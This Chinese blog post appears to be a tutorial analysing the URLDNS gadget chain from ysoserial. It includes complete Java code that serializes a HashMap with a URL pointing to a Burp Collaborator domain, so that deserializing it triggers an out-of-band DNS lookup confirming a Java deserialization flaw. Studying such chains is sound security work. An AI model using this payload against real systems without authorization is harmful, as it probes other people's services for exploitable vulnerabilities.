URLDNS链

前言

URLDNS链是ysoserial中的一条利用链,通常是用来检测是否存在Java反序列化漏洞,是一条比较简单的利用链,具有以下特点:

  • URLDNS链只能发起DNS请求,不能进行其他利用
  • 不限制jdk版本,但是使用java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞

URLDNS链分析

URL类继承了java.io.Serializable,可以进行序列化

image-20260902213928546

调用openConnection方法

image-20260902213930793v

会返回URLConnection

image-20260902213933011

URLConnection为一个抽象类,它的实现类通常是HttpURLConnection,但是到最后会无法进行序列化,同时因为openConnection同名函数很少,因此无法调用。所以一般不用这个函数。

image-20260902213935737

来看另一个比较常见的函数hashCode,在hashCode函数中调用了handlegetHostAddress()

image-20260902213938016

hashCode的默认值(初始值)为-1

image-20260902213941877

首先判断值是否为-1,如果不是-1,则直接返回缓存值hashCode,无法执行handler.hashCode函数,也就不会触发getHostAddress函数,所以在下面反序列化时不会发起DNS查询

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

进入handlerhashCode可以看到又调用了getHostAddress()getHostAddress()会把URL里的hostname转换成IP地址,这个过程就会触发DNS解析

image-20260902213944509

继续进入getHostAddress()函数,可以看到InetAddress.getByName这里可以触发DNS请求

image-20260902213948312

所以只要可以调用到URL类中的的hashCode()函数,就可以发起DNS请求,验证是否存在反序列化漏洞

HashMap中的readObject()函数中可以看到调用了hash()函数

image-20260902213951066

继续跟进hash()函数,就可以看到其中调用了key的hashCode()函数,可以看到Object key,就是key是实例化后的一个对象,追溯到之前说到得到url.hashcode就是相当于把URL实例化为对象,对象名为key,这样就是一个URLDNS链的调用

image-20260902213955191

所以进行构造,入口类为HashMap类,执行类就是URL类,两个类中都存在相同名称类型的hashCode()方法

在URL构造参数里可以知道直接传入一个URL网址就好,这里做测试就可以用BP的协作器(Collaborator)生成一个域名,最后序列化hashmap即可

构造代码

image-20260902213957679

这里用到的域名就是在BP的协作器(Collaborator)生成的一个,先进行序列化创建文件,代码运行之后可以去BP看一下”立即轮询“,这个时候正常是没有结果的,因为这里只进行了序列化,没有进行反序列化,所以没有触发DNS解析。

image-20260902214001026

执行反序列化之后,再次轮询就可以看到结果了

image-20260902214003517

再来看到代码,这里可以跟进put函数

image-20260902214006267

就会发现在put中就会调用到hash方法

image-20260902214009337

进而调用到hashcode()发起DNS请求

image-20260902214027689

继续来回顾到代码,这里就是用到了反射来改变已有的对象属性,将hashCode的值改为-1,吻合了上面对URL类中的hashCode的分析:

首先判断值是否为-1,如果不是-1,则直接返回缓存值hashCode,无法执行handler.hashCode函数,也就不会触发getHostAddress函数,所以在下面反序列化时不会发起DNS查询

image-20260902214034143

在执行完hashMap.put(url,1);之后变成了输入的URLhashCode,这里可以通过在put函数这句下断点调试看到,此时的hashcode不是-1,因此在执行这句代码时不发起DNS请求,在执行完这句代码之后、序列化之前,将hashCode改为-1,从而可以在反序列化时发起DNS请求。

image-20260902214039253

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package exp.URLDNS;

import Tools.SetField;

import java.net.URL;
import java.util.HashMap;
import java.util.Map;

import static Tools.Serialize.serialize;
import static Tools.Unserialize.unserialize;

public class URLDNS {
public static void main(String[] args) throws Exception {
//创建一个 HashMap,它的“键(key)”是 URL 类型,“值(value)”是 Integer(整数) 类型
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://i1ksonwg0ccs6t3xkcexh57dh4nwbnzc.oastify.com");
//调用自己写的 SetField.setField 方法,通过反射把 url 对象里名为 hashCode 的私有字段,强行设成 "123"
SetField.setField(url,"hashCode",123);
//把 url 作为 key,1 作为 value,放进 HashMap,但还不触发DNS
hashMap.put(url,1);
//再次通过反射,把 url 的 hashCode 改回 -1
SetField.setField(url,"hashCode",-1);
//先进行序列化,但是不会大气DNS请求
serialize(hashMap,"ser.bin");
//再进行反序列化,可以看到有一次DNS请求
unserialize("ser.bin");
}
}

反序列化时,在判断条件处下断点调试,可以看到此时hashCode值为-1

image-20260902214043095

总结

这个链子首先就是从HashMapreadObejctHashMap.hash中的Object.hashCode进入,调用了URL.hashCode中的URLStreamHandler中的URLStreamHandler.getHostAddressInetAddress.getByName触发DNS请求。

  • 入口类:HashMap类:从HashMapreadObejctHashMap.hash中的Object.hashCode进入
  • 调用类:调用URL.hashCode中的URLStreamHandler中的URLStreamHandler.getHostAddressInetAddress.getByName触发DNS请求
  • 相同名称类型的函数hashCode
  • HashMap可以接收Object对象,所以可以将URL类的实例化对象也就是key传入HashMap中,最终在HashMap中调用的不是Object.hashCode,而是URLStreamHandler.hashCode

image-20260902214050520

URLDNS整体调用链

  • HashMap.readObject()
  • HashMap.hash()
  • URL.hashCode()
  • URLStreamHandler.hashCode()
  • URLStreamHandler.getHostAddress()
  • URLStreamHandler.InetAddress.getByName()

URLDNS链
https://colourful228.github.io/2026/09/02/URLDNS链/
作者
Colourful
发布于
2026年9月2日
更新于
2026年9月2日
许可协议